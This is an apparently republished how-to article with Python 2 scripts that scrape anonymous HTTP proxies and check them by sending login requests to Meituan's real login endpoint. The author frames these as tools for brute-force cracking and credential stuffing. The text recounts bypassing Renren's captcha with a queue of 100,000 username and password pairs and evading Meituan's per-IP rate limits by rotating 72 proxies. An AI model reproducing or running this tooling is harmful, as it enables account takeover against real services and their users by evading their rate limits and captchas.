Code example of obtaining and verifying HTTP proxy in batches through python

This article mainly introduces the Python script for batch acquisition and verification of HTTP proxy. Friends who need it can refer to

HTTP brute force cracking and credential stuffing. There are some common techniques, such as:

1. When scanning the account on Renren.com, I encountered a single account error twice and was forced to enter a verification code, but the other party did not implement the IP policy.

I use the method of maintaining a queue of 100,000 (username, password) to bypass the verification code. The specific method is that when a certain username and password combination requires a verification code, the cracking sequence is suspended and placed at the end of the queue to wait for the next test, and continue to crack other account passwords.

This ensures that 2/3 of the time is spent on normal cracking and account scanning.

2. When cracking a system account on Meituan.com, I encountered certain restrictions on single IP access, and the request frequency should not be too fast. So I hung up 72 HTTP proxies to solve this problem. It seems that the requests from each IP are normal, but in fact, from the perspective of the entire program, the efficiency is quite impressive.

In this article, I posted a fragment of my own HTTP script, which is actually only a few lines. The anonymous proxy is grabbed from here: http://www.xici.net.co/nn/

First get the proxy list:

from bs4 import BeautifulSoup
import urllib2
of = open('proxy.txt' , 'w')
for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)
of.close()

Then verify whether the proxy is available, because I am The account used to crack the Meituan system, so Meituan’s page tag is used:

#encoding=gbk
import httplib
import time
import urllib
import threading
inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')
lock = threading.Lock()
def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

The above is the detailed content of Code example of obtaining and verifying HTTP proxy in batches through python. For more information, please follow other related articles on the PHP Chinese website!